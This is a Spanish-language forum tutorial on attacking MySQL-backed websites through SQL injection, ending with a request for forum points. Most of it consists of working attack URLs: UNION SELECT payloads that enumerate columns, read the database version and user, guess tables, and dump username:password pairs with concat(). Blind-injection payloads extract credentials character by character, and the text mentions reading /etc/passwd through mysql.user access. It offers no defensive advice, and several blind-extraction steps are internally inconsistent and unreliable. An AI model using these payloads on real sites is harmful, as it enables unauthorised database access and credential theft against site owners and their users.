
SQL INJECTION.
que es la sql injection? vulnerabilidad que se da en script que interactua con bases de datos y permite ejecutar consultas en la base de datos.que da a un atacante robo de datos confidenciales,acceso al sistema etc etc .. uno de los peligros màs frecuentes.
vamos a ver:
1 - sql injection El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL.(http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL)
2 - blind sql injection (ejecuciòn de consultas que por motivos de seguridad no muestra mensajes de error de la base de datos al no haber un resultado correcto mostrándose siempre el mismo contenido (solo habrá respuesta si el resultado es correcto). (http://es.wikipedia.org/wiki/Blind_SQL_injection)
1- Buscando paginas vulnerables.
----------------------------------
supongamos que .. tenemos una pagina como esta:
http://www.site.com/print.php?id=332
entonces como saber si es vulnerable?
hay que agregar al final de la url una comilla simple ' (o %27).
http://www.site.com/print.php?id=332'
si obtenemos algo como "You have an error in your SQL syntax; check the manual that " o algo parecido sabremos que es vulnreable a sql injection y claro! no todas las bases de datos son iguales hablaremos en este tuto màs sobre sql injection en base de datos mysql.no son las mismas injectiones en una base de datos oracle,mysql o mssql (sql server).
luego de saber si es vuelnrable hay que averiguar el numero de columnas.
como hacemos eso? facil! usamos el 'order by' y iremos incrementando veamos.
http://www.site.com/print.php?id=-1 order by 1/* <---- no muestra un error
http://www.site.com/print.php?id=-1 order by 2/* <---- no muestra un error
y asi sucesivamente hasta que por ejemplo.
http://www.site.com/print.php?id=-1 order by 14/* <-------- no muestra un error
http://www.site.com/print.php?id=-1 order by 15/* <-------- no muestra un error
http://www.site.com/print.php?id=-1 order by 16/* <-------- no muestra un error
http://www.site.com/print.php?id=-1 order by 17/* <-------- error
cuando hay un error nos mostrara algo asi:
"Unknown column '17' in 'order clause"
eso nos quiere decir que tiene 16 columnas .. y el " /* " es para evitar todo lo que venga despues por que si no mostraria error y nunca sabriamos por que. pero tambien hay otras cosas para ludirlo como el " -- ".
luego de esto procedemos a usar la funciòn UNION que nos permite seleccionar màs datos veamos.
http://www.site.com/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
ahi en la pantalla nos aparece un numerito por ejemplo un 2 sabremos que la union funciona .. hay otras veces que por ejemplo al usar el "order by" para saber las columnas no funciona .. :S
pero podremos usar el metodo:
union all select 1/*
union all select 1,2/*
union all select 1,2,3/*
y asi sucesivamente hasta encontrar cuantas columas y de paso saber si la union funciona.
Sabiendo la versiòn de mysql y otros datos utiles.
--------------------------------------------------
bueno ahoremos lo mismo que recien ..
http://www.site.com/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
hasta que salga numeritos .. (no olvidar de comentar el final de la injection)
en este caso supongamos que largo un 2.
bueno lo que tenemos que hacer es reemplazar el 2 por lo que queramos saber: version,user,base de datos etc ..
entonces hacemos:
para la versiòn:
(se pude usar @@version o version())
http://www.site.com/print.php?id=-1+union+all+select 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
tendras algo como "4.1.20-log"
es importante saber que version de mysql estamos injectando ya que podemos tener otras posibilidades como:
information_schema
table_name
y otros importantes que nos ahorran de estar injectando.
podremos reemplazar para sacar el user de esta forma:
user()
o base de datos:
database()
problema frecuente:
por que me dice que es ilegal,implicita etc ..?
bueno en este caso tendremos que usar la funcion convert().
http://www.site.com/print.php?id=-1+union+all+select 1,convert(@@version using latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
o con hex() y unhex():
http://www.site.com/print.php?id=-1+union+all+select 1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11,12,13, 14,15,16,17/*
/* lo aprendi el otro dia en el foro */
y asi obtendremos la versiòn de mysql.
Obteniendo tabla y nombre de columna.
-------------------------------------
si tenemos una version menor a 5 de mysql tendremos que adivinar la tabla y las columnas :S.
pero si tenemos una version 5 todo es mucho màs facil =)
veamos:
http://www.site.com/print.php?id=-1+union+all+select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema = database() /*
si pueden entender esta cadena vemos como casi no necesitamos adivinar ya que usamos "table_name" donde nos largaria el nombre de la tabla.
/* luego hare un tutorial para la versiòn 5 y lo que nos ofrece */
bueno volvamos a la 4 jaj.
bueno abra que adivinar la tabla y las columnas.
abra que usar nombres para tablas como: usuarios,users,members y etc .. y ver si funciona de la siguiente forma:
http://www.site.com/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from usuarios /* <--- nos tira error algo como "Table 'basededatos.usuarios' doesn't exist"
http://www.site.com/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from users /* <--- nos tira error
http://www.site.com/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from members /* <--- no nos tira error y eso quiere decir que le pegamos :O.
ahora una vez que le pegamos a la tabla proseguimos a sacar el nombre de la columna y probar posibles nombres como user,user_name,login,usuario o para el pass como pass,password,pwd y etc ..
lo haremos de la siguiente manera.
http://www.site.com/print.php?id=-1+union+all+select 1,user,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from members /* <--- error y nos muestra algo como:
Unknown column 'user' in 'field list'
http://www.site.com/print.php?id=-1+union+all+select 1,user_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from members /* <--- error
http://www.site.com/print.php?id=-1+union+all+select 1,usuario,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from members /* <--- no nos tira error y podemos ver el user en pantalla puede o no estar codificada.
y de la misma forma lo usamos para buscar un password,email o lo que sea.
Usando concat():
----------------
podremos hacer algo asi:
http://www.site.com/print.php?id=-1+union+all+select 1,concat(usuario,password),3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17 from members /*
entonces nos largaria el user y pass sin estar haciendo demasiadas inyecciones. pero el user y pass aparecerian juntos algo que casi no se
distingue ejemplo: adminmypassword
para evitarlo o si quieren pueden separlo de la siguiente manera para no confundirse con un : o algun otro caracter pasandolo en hexadecimal o usando char() (pasar a valor ascii).
http://www.site.com/print.php?id=-1 union all select 1,concat(usuario,0x3a,password),3 from members/*
obtendremos de la base algo asi: admin:mypassword
o si ponemos el hexa de = (0x3D)
obtendremos : admin=mypassword
y en ascii:
http://www.site.com/print.php?id=-1 union all select 1,concat(usuario,char(58),password),3 from members/* para obtener: admin:mypassword
/* para saber los valores ascii: http://www.ascii.cl/es/ */
otro problema frecuente:
quiero sacar otro user de la columna como puedo hacer?
es facìl! lo haremos de la siguiente manera:
http://www.site.com/print.php?id=-1 union all select 1,concat(usuario,0x3a,password),3 from members LIMIT 1,1/* <-- obtendremos uno.
http://www.site.com/print.php?id=-1 union all select 1,concat(usuario,0x3a,password),3 from members LIMIT 2,1/* <-- obtendremos otro diferente.
y asi sucesivamente.
y si te cansaste de no poder adivinar el nombre de la tabla /* :@ */ puedes intentar usar el mysql.user por defecto :S haciendo algo asi:
http://www.site.com/print.php?id=-1 union all select 1,concat(usuario,0x3a,password),3 from mysql.user /*
Ahora blind sql injection:
--------------------------
Creo que es lo màs dificil pero posible dentro de todo.Puede ser cansador un poco pero tendremos frutos (?).
Sabiendo si es vulnerable a Bsql:
---------------------------------
tenemos que saber esto:
http://www.site.com/print.php?id=-1 and 1 = 1 <--- esto siempre sera verdadero.
http://www.site.com/print.php?id=-1 and 1 = 2 <--- esto siempre sera falso.
si luego de probar http://www.site.com/print.php?id=-1 and 1 = 2 no regreso algo de la pagina un texto o etc sabemos que es vulnerable a bsql.
Sabiendo la version de mysql:
http://www.site.com/print.php?id=-1 and substring(@@version,1,1)=4 <--- si nos larga la pagina normal (si es verdadero) sera version 4.
http://www.site.com/print.php?id=-1 and substring(@@version,1,1)=5 <--- si nos larga la pagina normal (si es verdadero) sera version 5.
podemos usar select pero si tenemo problemas podremos usar subselect.
http://www.site.com/print.php?id=-1 and (select 1 from mysql.user limit 0,1)=1
si nos larga verdadero tendremos acceso a mysql.user y podremos obtener ficheros del servidor como /etc/password y etc ..
usando load_file() y outfile.
Buscando nombre de tabla y columna:
-----------------------------------
Puede ser lo peor y con ganas de romper tu monitor.
adivinando la tabla:
hacemos esto:
http://www.site.com/print.php?id=-1 and (select 1 from members limit 0,1)=1
/* con LIMIT 0,1 nuestra consulta devuelve 1 fila de datos por causa de subselect por eso es importante. RECODARLO */
si la pagina carga normalmente sabremos que el nombre de la tabla es la correcta si esto no es asi tendremos que seguir adivinando.
ahora la columna:
http://www.site.com/print.php?id=-1 and (select substring(concat(1,password),1,1) from members limit 0,1)=1
si la pagina carga normalmente sabremos que es la correcta de lo contrario a adivinar /* :@ */
Extrayendo datos:
------------------
Supongamos que ya tenemos nombre de la columna y la tabla:
http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>80
el 80 es un caracter en ascii si nos da verdadero tenemos que aumentar hasta que de falso.
http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>95
da verdadero asi que incrementamos.
http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>95
http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>98
nos da verdadero.
http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>99
FALSO!
por lo que el primer carácter en el nombre de usuario es char(99).Y convirtiendolo a ascii sabemos que char (99) es la letra c.
entonces vamos a comprobar el segundo caracter.
http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),2,1))>99
fijense que estoy cambiado, a 1,1, 2,1 para obtener el segundo caracter.ahora vuelve el segundo caracter, 1 caracter de longitud.
http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>99
no da verdadero e incrementamos:
http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>107
nos da falso y buscamos menor numero.
http://www.site.com/print.php?id=5 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>104
verdadero.incrementamos ..
http://www.site.com/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from members limit 0,1),1,1))>105
FALSO!
sabemos que el segundo caracter es char (105) y que es i vamos ci y seguimos incrementando.cuando > 0 devuelve falso, sabemos que llegamos al final.
hay herramientas que hacen que esto no sea muy pesado:
http://www.seguridadinformatica.es/p...ogPost%3A16301
ocupo ser NFU porfavor solo 20 puntos y ya